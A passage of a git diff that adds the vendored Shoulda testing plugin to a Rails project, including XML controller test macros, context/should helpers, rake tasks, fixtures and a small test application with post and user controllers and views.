-0,0 +1,162 @@ +module ThoughtBot # :nodoc: + module Shoulda # :nodoc: + module Controller # :nodoc: + module XML + def self.included(other) #:nodoc: + other.class_eval do + extend ThoughtBot::Shoulda::Controller::XML::ClassMethods + end + end + + module ClassMethods + # Macro that creates a test asserting that the controller responded with an XML content-type + # and that the XML contains ++ as the root element. + def should_respond_with_xml_for(name = nil) + should "have ContentType set to 'application/xml'" do + assert_xml_response + end + + if name + should "return <#{name}/> as the root element" do + body = @response.body.first(100).map {|l| " #{l}"} + assert_select name.to_s.dasherize, 1, "Body:\n#{body}...\nDoes not have <#{name}/> as the root element." + end + end + end + alias should_respond_with_xml should_respond_with_xml_for + + protected + + def make_show_xml_tests(res) # :nodoc: + context "on GET to :show as xml" do + setup do + request_xml + record = get_existing_record(res) + parent_params = make_parent_params(res, record) + get :show, parent_params.merge({ res.identifier => record.to_param }) + end + + if res.denied.actions.include?(:show) + should_not_assign_to res.object + should_respond_with 401 + else + should_assign_to res.object + should_respond_with :success + should_respond_with_xml_for res.object + end + end + end + + def make_edit_xml_tests(res) # :nodoc: + # XML doesn't need an :edit action + end + + def make_new_xml_tests(res) # :nodoc: + # XML doesn't need a :new action + end + + def make_index_xml_tests(res) # :nodoc: + context "on GET to :index as xml" do + setup do + request_xml + parent_params = make_parent_params(res) + get(:index, parent_params) + end + + if res.denied.actions.include?(:index) + should_not_assign_to res.object.to_s.pluralize + should_respond_with 401 + else + should_respond_with :success + should_respond_with_xml_for res.object.to_s.pluralize + should_assign_to res.object.to_s.pluralize + end + end + end + + def make_destroy_xml_tests(res) # :nodoc: + context "on DELETE to :destroy as xml" do + setup do + request_xml + @record = get_existing_record(res) + parent_params = make_parent_params(res, @record) + delete :destroy, parent_params.merge({ res.identifier => @record.to_param }) + end + + if res.denied.actions.include?(:destroy) + should_respond_with 401 + + should "not destroy record" do + assert @record.reload + end + else + should "destroy record" do + assert_raises(::ActiveRecord::RecordNotFound) { @record.reload } + end + end + end + end + + def make_create_xml_tests(res) # :nodoc: + context "on POST to :create as xml" do + setup do + request_xml + parent_params = make_parent_params(res) + @count = res.klass.count + post :create, parent_params.merge(res.object => res.create.params) + end + + if res.denied.actions.include?(:create) + should_respond_with 401 + should_not_assign_to res.object + + should "not create new record" do + assert_equal @count, res.klass.count + end + else + should_assign_to res.object + + should "not have errors on @#{res.object}" do + assert_equal [], assigns(res.object).errors.full_messages, "@#{res.object} has errors:" + end + end + end + end + + def make_update_xml_tests(res) # :nodoc: + context "on PUT to :update as xml" do + setup do + request_xml + @record = get_existing_record(res) + parent_params = make_parent_params(res, @record) + put :update, parent_params.merge(res.identifier => @record.to_param, res.object => res.update.params) + end + + if res.denied.actions.include?(:update) + should_not_assign_to res.object + should_respond_with 401 + else + should_assign_to res.object + + should "not have errors on @#{res.object}" do + assert_equal [], assigns(res.object).errors.full_messages, "@#{res.object} has errors:" + end + end + end + end + end + + # Sets the next request's format to 'application/xml' + def request_xml + @request.accept = "application/xml" + end + + # Asserts that the controller's response was 'application/xml' + def assert_xml_response + assert_equal "application/xml", @response.content_type, "Body: #{@response.body.first(100).chomp}..." + end + + end + end + end +end diff --git a/vendor/plugins/shoulda/lib/shoulda/gem/proc_extensions.rb b/vendor/plugins/shoulda/lib/shoulda/gem/proc_extensions.rb new file mode 100644 index 0000000..0d577df --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/gem/proc_extensions.rb @@ -0,0 +1,14 @@ +# Stolen straight from ActiveSupport + +class Proc #:nodoc: + def bind(object) + block, time = self, Time.now + (class << object; self end).class_eval do + method_name = "__bind_#{time.to_i}_#{time.usec}" + define_method(method_name, &block) + method = instance_method(method_name) + remove_method(method_name) + method + end.bind(object) + end +end diff --git a/vendor/plugins/shoulda/lib/shoulda/gem/shoulda.rb b/vendor/plugins/shoulda/lib/shoulda/gem/shoulda.rb new file mode 100644 index 0000000..92fc612 --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/gem/shoulda.rb @@ -0,0 +1,165 @@ +require File.join(File.dirname(__FILE__), 'proc_extensions') + +module Thoughtbot + class Shoulda + VERSION = '1.0.0' + + # = context and should blocks + # + # A context block groups should statements under a common setup/teardown method. + # Context blocks can be arbitrarily nested, and can do wonders for improving the maintainability + # and readability of your test code. + # + # A context block can contain setup, should, should_eventually, and teardown blocks. + # + # class UserTest << Test::Unit::TestCase + # context "a User instance" do + # setup do + # @user = User.find(:first) + # end + # + # should "return its full name" + # assert_equal 'John Doe', @user.full_name + # end + # end + # end + # + # This code will produce the method "test a User instance should return its full name". + # + # Contexts may be nested. Nested contexts run their setup blocks from out to in before each test. + # They then run their teardown blocks from in to out after each test. + # + # class UserTest << Test::Unit::TestCase + # context "a User instance" do + # setup do + # @user = User.find(:first) + # end + # + # should "return its full name" + # assert_equal 'John Doe', @user.full_name + # end + # + # context "with a profile" do + # setup do + # @user.profile = Profile.find(:first) + # end + # + # should "return true when sent :has_profile?" + # assert @user.has_profile? + # end + # end + # end + # end + # + # This code will produce the following methods + # * "test: a User instance should return its full name." + # * "test: a User instance with a profile should return true when sent :has_profile?." + # + # A context block can exist next to normal def test_the_old_way; end tests, + # meaning you do not have to fully commit to the context/should syntax in a test file. + # + + module ClassMethods + def self.included(other) # :nodoc: + @@context_names = [] + @@setup_blocks = [] + @@teardown_blocks = [] + end + + # Defines a test method. Can be called either inside our outside of a context. + # Optionally specify :unimplimented => true (see should_eventually). + # + # Example: + # + # class UserTest << Test::Unit::TestCase + # should "return first user on find(:first)" + # assert_equal users(:first), User.find(:first) + # end + # end + # + # Would create a test named + # 'test: should return first user on find(:first)' + # + def should(name, opts = {}, &should_block) + test_name = ["test:", @@context_names, "should", "#{name}. "].flatten.join(' ').to_sym + + name_defined = eval("self.instance_methods.include?('#{test_name.to_s.gsub(/['"]/, '\$1')}')", should_block.binding) + raise ArgumentError, "'#{test_name}' is already defined" and return if name_defined + + setup_blocks = @@setup_blocks.dup + teardown_blocks = @@teardown_blocks.dup + + if opts[:unimplemented] + define_method test_name do |*args| + # XXX find a better way of doing this. + assert true + STDOUT.putc "X" # Tests for this model are missing. + end + else + define_method test_name do |*args| + begin + setup_blocks.each {|b| b.bind(self).call } + should_block.bind(self).call(*args) + ensure + teardown_blocks.reverse.each {|b| b.bind(self).call } + end + end + end + end + + # Creates a context block with the given name. + def context(name, &context_block) + saved_setups = @@setup_blocks.dup + saved_teardowns = @@teardown_blocks.dup + saved_contexts = @@context_names.dup + + @@setup_defined = false + + @@context_names << name + context_block.bind(self).call + + @@context_names = saved_contexts + @@setup_blocks = saved_setups + @@teardown_blocks = saved_teardowns + end + + # Run before every should block in the current context. + # If a setup block appears in a nested context, it will be run after the setup blocks + # in the parent contexts. + def setup(&setup_block) + if @@setup_defined + raise RuntimeError, "Either you have two setup blocks in one context, " + + "or a setup block outside of a context. Both are equally bad." + end + @@setup_defined = true + + @@setup_blocks << setup_block + end + + # Run after every should block in the current context. + # If a teardown block appears in a nested context, it will be run before the teardown + # blocks in the parent contexts. + def teardown(&teardown_block) + @@teardown_blocks << teardown_block + end + + # Defines a specification that is not yet implemented. + # Will be displayed as an 'X' when running tests, and failures will not be shown. + # This is equivalent to: + # should(name, {:unimplemented => true}, &block) + def should_eventually(name, &block) + should("eventually #{name}", {:unimplemented => true}, &block) + end + end + end +end + +module Test # :nodoc: all + module Unit + class TestCase + class << self + include Thoughtbot::Shoulda::ClassMethods + end + end + end +end diff --git a/vendor/plugins/shoulda/lib/shoulda/general.rb b/vendor/plugins/shoulda/lib/shoulda/general.rb new file mode 100644 index 0000000..c7b06c1 --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/general.rb @@ -0,0 +1,101 @@ +module ThoughtBot # :nodoc: + module Shoulda # :nodoc: + module General + def self.included(other) # :nodoc: + other.class_eval do + extend ThoughtBot::Shoulda::General::ClassMethods + # include ThoughtBot::Shoulda::General::InstanceMethods + end + end + + module ClassMethods + # Loads all fixture files (test/fixtures/*.yml) + def load_all_fixtures + all_fixtures = Dir.glob(File.join(Test::Unit::TestCase.fixture_path, "*.yml")).collect do |f| + File.basename(f, '.yml').to_sym + end + fixtures *all_fixtures + end + end + + # Prints a message to stdout, tagged with the name of the calling method. + def report!(msg = "") + puts("#{caller.first}: #{msg}") + end + + # Asserts that two arrays contain the same elements, the same number of times. Essentially ==, but unordered. + # + # assert_same_elements([:a, :b, :c], [:c, :a, :b]) => passes + def assert_same_elements(a1, a2, msg = nil) + [:select, :inject, :size].each do |m| + [a1, a2].each {|a| assert_respond_to(a, m, "Are you sure that #{a.inspect} is an array? It doesn't respond to #{m}.") } + end + + assert a1h = a1.inject({}) { |h,e| h[e] = a1.select { |i| i == e }.size; h } + assert a2h = a2.inject({}) { |h,e| h[e] = a2.select { |i| i == e }.size; h } + + assert_equal(a1h, a2h, msg) + end + + # Asserts that the given collection contains item x. If x is a regular expression, ensure that + # at least one element from the collection matches x. +extra_msg+ is appended to the error message if the assertion fails. + # + # assert_contains(['a', '1'], /\d/) => passes + # assert_contains(['a', '1'], 'a') => passes + # assert_contains(['a', '1'], /not there/) => fails + def assert_contains(collection, x, extra_msg = "") + collection = [collection] unless collection.is_a?(Array) + msg = "#{x.inspect} not found in #{collection.to_a.inspect} " + extra_msg + case x + when Regexp: assert(collection.detect { |e| e =~ x }, msg) + else assert(collection.include?(x), msg) + end + end + + # Asserts that the given collection does not contain item x. If x is a regular expression, ensure that + # none of the elements from the collection match x. + def assert_does_not_contain(collection, x, extra_msg = "") + collection = [collection] unless collection.is_a?(Array) + msg = "#{x.inspect} found in #{collection.to_a.inspect} " + extra_msg + case x + when Regexp: assert(!collection.detect { |e| e =~ x }, msg) + else assert(!collection.include?(x), msg) + end + end + + # Asserts that the given object can be saved + # + # assert_save User.new(params) + def assert_save(obj) + assert obj.save, "Errors: #{obj.errors.full_messages.join('; ')}" + obj.reload + end + + # Asserts that the given object is valid + # + # assert_save User.new(params) + def assert_valid(obj) + assert obj.valid?, "Errors: #{obj.errors.full_messages.join('; ')}" + end + + # Asserts that the block uses ActionMailer to send emails + # + # assert_sends_email(2) { Mailer.deliver_messages } + def assert_sends_email(num = 1, &blk) + ActionMailer::Base.deliveries.clear + blk.call + msg = "Sent #{ActionMailer::Base.deliveries.size} emails, when #{num} expected:\n" + ActionMailer::Base.deliveries.each { |m| msg << " '#{m.subject}' sent to #{m.to.to_sentence}\n" } + assert(num == ActionMailer::Base.deliveries.size, msg) + end + + # Asserts that the block does not send emails thorough ActionMailer + # + # assert_does_not_send_email { # do nothing } + def assert_does_not_send_email(&blk) + assert_sends_email 0, &blk + end + + end + end +end diff --git a/vendor/plugins/shoulda/lib/shoulda/private_helpers.rb b/vendor/plugins/shoulda/lib/shoulda/private_helpers.rb new file mode 100644 index 0000000..73118c6 --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda/private_helpers.rb @@ -0,0 +1,17 @@ +module ThoughtBot # :nodoc: + module Shoulda # :nodoc: + module Private # :nodoc: + def get_options!(args, *wanted) + ret = [] + opts = (args.last.is_a?(Hash) ? args.pop : {}) + wanted.each {|w| ret << opts.delete(w)} + raise ArgumentError, "Unsuported options given: #{opts.keys.join(', ')}" unless opts.keys.empty? + return *ret + end + + def model_class + self.name.gsub(/Test$/, '').constantize + end + end + end +end diff --git a/vendor/plugins/shoulda/tasks/list_tests.rake b/vendor/plugins/shoulda/tasks/list_tests.rake new file mode 100644 index 0000000..cad270f --- /dev/null +++ b/vendor/plugins/shoulda/tasks/list_tests.rake @@ -0,0 +1,40 @@ +namespace :shoulda do + desc "List the names of the test methods in a specification like format" + task :list do + + require 'test/unit' + require 'rubygems' + require 'active_support' + + # bug in test unit. Set to true to stop from running. + Test::Unit.run = true + + test_files = Dir.glob(File.join('test', '**', '*_test.rb')) + test_files.each do |file| + load file + klass = File.basename(file, '.rb').classify.constantize + + puts + puts "#{klass.name.gsub(/Test$/, '')}" + test_methods = klass.instance_methods.grep(/^test/).map {|s| s.gsub(/^test: /, '')}.sort + test_methods.each {|m| puts " - #{m}" } + # puts "#{klass.name.gsub(/Test$/, '')}" + # test_methods = klass.instance_methods.grep(/^test/).sort + # + # method_hash = test_methods.inject({}) do |h, name| + # header = name.gsub(/^test: (.*)should.*$/, '\1') + # test = name.gsub(/^test:.*should (.*)$/, '\1') + # h[header] ||= [] + # h[header] << test + # h + # end + # + # method_hash.keys.sort.each do |header| + # puts " #{header.chomp} should" + # method_hash[header].each do |test| + # puts " - #{test}" + # end + # end + end + end +end diff --git a/vendor/plugins/shoulda/tasks/yaml_to_shoulda.rake b/vendor/plugins/shoulda/tasks/yaml_to_shoulda.rake new file mode 100644 index 0000000..8303011 --- /dev/null +++ b/vendor/plugins/shoulda/tasks/yaml_to_shoulda.rake @@ -0,0 +1,28 @@ +namespace :shoulda do + # From http://blog.internautdesign.com/2007/11/2/a-yaml_to_shoulda-rake-task + # David.Lowenfels@gmail.com + desc "Converts a YAML file (FILE=./path/to/yaml) into a Shoulda skeleton" + task :from_yaml do + require 'yaml' + + def yaml_to_context(hash, indent = 0) + indent1 = ' ' * indent + indent2 = ' ' * (indent + 1) + hash.each_pair do |context, shoulds| + puts indent1 + "context \"#{context}\" do" + puts + shoulds.each do |should| + yaml_to_context( should, indent + 1 ) and next if should.is_a?( Hash ) + puts indent2 + "should_eventually \"" + should.gsub(/^should +/,'') + "\" do" + puts indent2 + "end" + puts + end + puts indent1 + "end" + end + end + + puts("Please pass in a FILE argument.") and exit unless ENV['FILE'] + + yaml_to_context( YAML.load_file( ENV['FILE'] ) ) + end +end \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/README b/vendor/plugins/shoulda/test/README new file mode 100644 index 0000000..3906de5 --- /dev/null +++ b/vendor/plugins/shoulda/test/README @@ -0,0 +1,8 @@ +The tests for should have two dependencies that I know of: + +* Rails version 1.2.3 +* A working sqlite3 installation. + +If you have problems running these tests, please notify the shoulda mailing list: shoulda@googlegroups.com + +- Tammer Saleh \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/fixtures/posts.yml b/vendor/plugins/shoulda/test/fixtures/posts.yml new file mode 100644 index 0000000..f5cd7b6 --- /dev/null +++ b/vendor/plugins/shoulda/test/fixtures/posts.yml @@ -0,0 +1,5 @@ +first: + id: 1 + title: My Cute Kitten! + body: This is totally a cute kitten + user_id: 1 diff --git a/vendor/plugins/shoulda/test/fixtures/taggings.yml b/vendor/plugins/shoulda/test/fixtures/taggings.yml new file mode 100644 index 0000000..e69de29 diff --git a/vendor/plugins/shoulda/test/fixtures/tags.yml b/vendor/plugins/shoulda/test/fixtures/tags.yml new file mode 100644 index 0000000..3ef6292 --- /dev/null +++ b/vendor/plugins/shoulda/test/fixtures/tags.yml @@ -0,0 +1,9 @@ +first: + id: 1 + name: Stuff +second: + id: 2 + name: Rails +third: + id: 3 + name: Nothing \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/fixtures/users.yml b/vendor/plugins/shoulda/test/fixtures/users.yml new file mode 100644 index 0000000..cfe60c3 --- /dev/null +++ b/vendor/plugins/shoulda/test/fixtures/users.yml @@ -0,0 +1,5 @@ +first: + id: 1 + name: Some dude + age: 2 + email: none@none.com diff --git a/vendor/plugins/shoulda/test/functional/posts_controller_test.rb b/vendor/plugins/shoulda/test/functional/posts_controller_test.rb new file mode 100644 index 0000000..6fdeb58 --- /dev/null +++ b/vendor/plugins/shoulda/test/functional/posts_controller_test.rb @@ -0,0 +1,43 @@ +require File.dirname(__FILE__) + '/../test_helper' +require 'posts_controller' + +# Re-raise errors caught by the controller. +class PostsController; def rescue_action(e) raise e end; end + +class PostsControllerTest < Test::Unit::TestCase + load_all_fixtures + + def setup + @controller = PostsController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @post = Post.find(:first) + end + + context "The public" do + setup do + @request.session[:logged_in] = false + end + + should_be_restful do |resource| + resource.parent = :user + + resource.denied.actions = [:index, :show, :edit, :new, :create, :update, :destroy] + resource.denied.flash = /what/i + resource.denied.redirect = '"/"' + end + end + + context "Logged in" do + setup do + @request.session[:logged_in] = true + end + + should_be_restful do |resource| + resource.parent = :user + + resource.create.params = { :title => "first post", :body => 'blah blah blah'} + resource.update.params = { :title => "changed" } + end + end +end diff --git a/vendor/plugins/shoulda/test/functional/users_controller_test.rb b/vendor/plugins/shoulda/test/functional/users_controller_test.rb new file mode 100644 index 0000000..6b48e26 --- /dev/null +++ b/vendor/plugins/shoulda/test/functional/users_controller_test.rb @@ -0,0 +1,36 @@ +require File.dirname(__FILE__) + '/../test_helper' +require 'users_controller' + +# Re-raise errors caught by the controller. +class UsersController; def rescue_action(e) raise e end; end + +class UsersControllerTest < Test::Unit::TestCase + load_all_fixtures + + def setup + @controller = UsersController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @user = User.find(:first) + end + + should_be_restful do |resource| + resource.identifier = :id + resource.klass = User + resource.object = :user + resource.parent = [] + resource.actions = [:index, :show, :new, :edit, :update, :create, :destroy] + resource.formats = [:html, :xml] + + resource.create.params = { :name => "bob", :email => 'bob@bob.com', :age => 13} + resource.update.params = { :name => "sue" } + + resource.create.redirect = "user_url(@user)" + resource.update.redirect = "user_url(@user)" + resource.destroy.redirect = "users_url" + + resource.create.flash = /created/i + resource.update.flash = /updated/i + resource.destroy.flash = /removed/i + end +end diff --git a/vendor/plugins/shoulda/test/other/context_test.rb b/vendor/plugins/shoulda/test/other/context_test.rb new file mode 100644 index 0000000..6d93153 --- /dev/null +++ b/vendor/plugins/shoulda/test/other/context_test.rb @@ -0,0 +1,71 @@ +require File.join(File.dirname(__FILE__), '..', 'test_helper') + +class ContextTest < Test::Unit::TestCase # :nodoc: + + context "context with setup block" do + setup do + @blah = "blah" + end + + should "have @blah == 'blah'" do + assert_equal "blah", @blah + end + + should "have name set right" do + assert_match(/^test: context with setup block/, self.to_s) + end + + context "and a subcontext" do + setup do + @blah = "#{@blah} twice" + end + + should "be named correctly" do + assert_match(/^test: context with setup block and a subcontext should be named correctly/, self.to_s) + end + + should "run the setup methods in order" do + assert_equal @blah, "blah twice" + end + end + end + + context "another context with setup block" do + setup do + @blah = "foo" + end + + should "have @blah == 'foo'" do + assert_equal "foo", @blah + end + + should "have name set right" do + assert_match(/^test: another context with setup block/, self.to_s) + end + end + + context "context with method definition" do + setup do + def hello; "hi"; end + end + + should "be able to read that method" do + assert_equal "hi", hello + end + + should "have name set right" do + assert_match(/^test: context with method definition/, self.to_s) + end + end + + context "another context" do + should "not define @blah" do + assert_nil @blah + end + end + + should_eventually "should pass, since it's unimplemented" do + flunk "what?" + end + +end diff --git a/vendor/plugins/shoulda/test/other/helpers_test.rb b/vendor/plugins/shoulda/test/other/helpers_test.rb new file mode 100644 index 0000000..a225393 --- /dev/null +++ b/vendor/plugins/shoulda/test/other/helpers_test.rb @@ -0,0 +1,40 @@ +require File.join(File.dirname(__FILE__), '..', 'test_helper') + +class Val + @@val = 0 + def self.val; @@val; end + def self.inc(i=1); @@val += i; end +end + +class HelpersTest < Test::Unit::TestCase # :nodoc: + + context "an array of values" do + setup do + @a = ['abc', 'def', 3] + end + + [/b/, 'abc', 3].each do |x| + should "contain #{x.inspect}" do + assert_raises(Test::Unit::AssertionFailedError) do + assert_does_not_contain @a, x + end + assert_contains @a, x + end + end + + should "not contain 'wtf'" do + assert_raises(Test::Unit::AssertionFailedError) {assert_contains @a, 'wtf'} + assert_does_not_contain @a, 'wtf' + end + + should "be the same as another array, ordered differently" do + assert_same_elements(@a, [3, "def", "abc"]) + assert_raises(Test::Unit::AssertionFailedError) do + assert_same_elements(@a, [3, 3, "def", "abc"]) + end + assert_raises(Test::Unit::AssertionFailedError) do + assert_same_elements([@a, "abc"].flatten, [3, 3, "def", "abc"]) + end + end + end +end diff --git a/vendor/plugins/shoulda/test/other/private_helpers_test.rb b/vendor/plugins/shoulda/test/other/private_helpers_test.rb new file mode 100644 index 0000000..9c35999 --- /dev/null +++ b/vendor/plugins/shoulda/test/other/private_helpers_test.rb @@ -0,0 +1,26 @@ +require File.join(File.dirname(__FILE__), '..', 'test_helper') + +class PrivateHelpersTest < Test::Unit::TestCase # :nodoc: + include ThoughtBot::Shoulda::ActiveRecord + context "get_options!" do + should "remove opts from args" do + args = [:a, :b, {}] + get_options!(args) + assert_equal [:a, :b], args + end + + should "return wanted opts in order" do + args = [{:one => 1, :two => 2}] + one, two = get_options!(args, :one, :two) + assert_equal 1, one + assert_equal 2, two + end + + should "raise ArgumentError if given unwanted option" do + args = [{:one => 1, :two => 2}] + assert_raises ArgumentError do + get_options!(args, :one) + end + end + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/Rakefile b/vendor/plugins/shoulda/test/rails_root/Rakefile new file mode 100644 index 0000000..3bb0e85 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/Rakefile @@ -0,0 +1,10 @@ +# Add your own tasks in files placed in lib/tasks ending in .rake, +# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. + +require(File.join(File.dirname(__FILE__), 'config', 'boot')) + +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +require 'tasks/rails' diff --git a/vendor/plugins/shoulda/test/rails_root/app/controllers/application.rb b/vendor/plugins/shoulda/test/rails_root/app/controllers/application.rb new file mode 100644 index 0000000..10fa987 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/controllers/application.rb @@ -0,0 +1,25 @@ +# Filters added to this controller apply to all controllers in the application. +# Likewise, all the methods added will be available for all controllers. + +class ApplicationController < ActionController::Base + # Pick a unique cookie name to distinguish our session data from others' + session :session_key => '_rails_root_session_id' + + def ensure_logged_in + unless session[:logged_in] + respond_to do |accepts| + accepts.html do + flash[:error] = 'What do you think you\'re doing?' + redirect_to '/' + end + accepts.xml do + headers["Status"] = "Unauthorized" + headers["WWW-Authenticate"] = %(Basic realm="Web Password") + render :text => "Couldn't authenticate you", :status => '401 Unauthorized' + end + end + return false + end + return true + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/controllers/posts_controller.rb b/vendor/plugins/shoulda/test/rails_root/app/controllers/posts_controller.rb new file mode 100644 index 0000000..87b9df1 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/controllers/posts_controller.rb @@ -0,0 +1,78 @@ +class PostsController < ApplicationController + before_filter :ensure_logged_in + before_filter :load_user + + def index + @posts = @user.posts + + respond_to do |format| + format.html # index.rhtml + format.xml { render :xml => @posts.to_xml } + end + end + + def show + @post = @user.posts.find(params[:id]) + + respond_to do |format| + format.html # show.rhtml + format.xml { render :xml => @post.to_xml } + end + end + + def new + @post = @user.posts.build + end + + def edit + @post = @user.posts.find(params[:id]) + end + + def create + @post = @user.posts.build(params[:post]) + + respond_to do |format| + if @post.save + flash[:notice] = 'Post was successfully created.' + format.html { redirect_to post_url(@post.user, @post) } + format.xml { head :created, :location => post_url(@post.user, @post) } + else + format.html { render :action => "new" } + format.xml { render :xml => @post.errors.to_xml } + end + end + end + + def update + @post = @user.posts.find(params[:id]) + + respond_to do |format| + if @post.update_attributes(params[:post]) + flash[:notice] = 'Post was successfully updated.' + format.html { redirect_to post_url(@post.user, @post) } + format.xml { head :ok } + else + format.html { render :action => "edit" } + format.xml { render :xml => @post.errors.to_xml } + end + end + end + + def destroy + @post = @user.posts.find(params[:id]) + @post.destroy + + flash[:notice] = "Post was removed" + + respond_to do |format| + format.html { redirect_to posts_url(@post.user) } + format.xml { head :ok } + end + end + + private + + def load_user + @user = User.find(params[:user_id]) + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/controllers/users_controller.rb b/vendor/plugins/shoulda/test/rails_root/app/controllers/users_controller.rb new file mode 100644 index 0000000..4fdef93 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/controllers/users_controller.rb @@ -0,0 +1,81 @@ +class UsersController < ApplicationController + # GET /users + # GET /users.xml + def index + @users = User.find(:all) + + respond_to do |format| + format.html # index.rhtml + format.xml { render :xml => @users.to_xml } + end + end + + # GET /users/1 + # GET /users/1.xml + def show + @user = User.find(params[:id]) + + respond_to do |format| + format.html # show.rhtml + format.xml { render :xml => @user.to_xml } + end + end + + # GET /users/new + def new + @user = User.new + end + + # GET /users/1;edit + def edit + @user = User.find(params[:id]) + end + + # POST /users + # POST /users.xml + def create + @user = User.new(params[:user]) + + respond_to do |format| + if @user.save + flash[:notice] = 'User was successfully created.' + format.html { redirect_to user_url(@user) } + format.xml { head :created, :location => user_url(@user) } + else + format.html { render :action => "new" } + format.xml { render :xml => @user.errors.to_xml } + end + end + end + + # PUT /users/1 + # PUT /users/1.xml + def update + @user = User.find(params[:id]) + + respond_to do |format| + if @user.update_attributes(params[:user]) + flash[:notice] = 'User was successfully updated.' + format.html { redirect_to user_url(@user) } + format.xml { head :ok } + else + format.html { render :action => "edit" } + format.xml { render :xml => @user.errors.to_xml } + end + end + end + + # DELETE /users/1 + # DELETE /users/1.xml + def destroy + @user = User.find(params[:id]) + @user.destroy + + flash[:notice] = "User was removed" + + respond_to do |format| + format.html { redirect_to users_url } + format.xml { head :ok } + end + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/helpers/application_helper.rb b/vendor/plugins/shoulda/test/rails_root/app/helpers/application_helper.rb new file mode 100644 index 0000000..22a7940 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/helpers/application_helper.rb @@ -0,0 +1,3 @@ +# Methods added to this helper will be available to all templates in the application. +module ApplicationHelper +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/helpers/posts_helper.rb b/vendor/plugins/shoulda/test/rails_root/app/helpers/posts_helper.rb new file mode 100644 index 0000000..a7b8cec --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/helpers/posts_helper.rb @@ -0,0 +1,2 @@ +module PostsHelper +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/helpers/users_helper.rb b/vendor/plugins/shoulda/test/rails_root/app/helpers/users_helper.rb new file mode 100644 index 0000000..2310a24 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/helpers/users_helper.rb @@ -0,0 +1,2 @@ +module UsersHelper +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/models/dog.rb b/vendor/plugins/shoulda/test/rails_root/app/models/dog.rb new file mode 100644 index 0000000..2532fee --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/models/dog.rb @@ -0,0 +1,3 @@ +class Dog < ActiveRecord::Base + belongs_to :user, :foreign_key => :owner_id +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/models/post.rb b/vendor/plugins/shoulda/test/rails_root/app/models/post.rb new file mode 100644 index 0000000..5b840b9 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/models/post.rb @@ -0,0 +1,11 @@ +class Post < ActiveRecord::Base + belongs_to :user + belongs_to :owner, :foreign_key => :user_id, :class_name => 'User' + has_many :taggings + has_many :tags, :through => :taggings + + validates_uniqueness_of :title + validates_presence_of :title + validates_presence_of :body, :message => 'Seriously... wtf' + validates_numericality_of :user_id +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/models/tag.rb b/vendor/plugins/shoulda/test/rails_root/app/models/tag.rb new file mode 100644 index 0000000..9e52fdf --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/models/tag.rb @@ -0,0 +1,4 @@ +class Tag < ActiveRecord::Base + has_many :taggings + has_many :posts, :through => :taggings +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/models/tagging.rb b/vendor/plugins/shoulda/test/rails_root/app/models/tagging.rb new file mode 100644 index 0000000..9b8fb6b --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/models/tagging.rb @@ -0,0 +1,4 @@ +class Tagging < ActiveRecord::Base + belongs_to :post + belongs_to :tag +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/models/user.rb b/vendor/plugins/shoulda/test/rails_root/app/models/user.rb new file mode 100644 index 0000000..31c96f3 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/models/user.rb @@ -0,0 +1,9 @@ +class User < ActiveRecord::Base + has_many :posts + has_many :dogs, :foreign_key => :owner_id + + attr_protected :password + validates_format_of :email, :with => /\w*@\w*.com/ + validates_length_of :email, :in => 1..100 + validates_inclusion_of :age, :in => 1..100 +end diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/layouts/posts.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/layouts/posts.rhtml new file mode 100644 index 0000000..9a0e16b --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/layouts/posts.rhtml @@ -0,0 +1,17 @@ + + + + + + Posts: <%= controller.action_name %> + <%= stylesheet_link_tag 'scaffold' %> + + + +

    <%= flash[:notice] %>

    + +<%= yield %> + + + diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/layouts/users.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/layouts/users.rhtml new file mode 100644 index 0000000..23757aa --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/layouts/users.rhtml @@ -0,0 +1,17 @@ + + + + + + Users: <%= controller.action_name %> + <%= stylesheet_link_tag 'scaffold' %> + + + +

    <%= flash[:notice] %>

    + +<%= yield %> + + + diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/posts/edit.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/posts/edit.rhtml new file mode 100644 index 0000000..b45ba5c --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/posts/edit.rhtml @@ -0,0 +1,27 @@ +

    Editing post

    + +<%= error_messages_for :post %> + +<% form_for(:post, :url => post_path(@post.user, @post), :html => { :method => :put }) do |f| %> +

    + User
    + <%= f.text_field :user_id %> +

    + +

    + Title
    + <%= f.text_field :title %> +

    + +

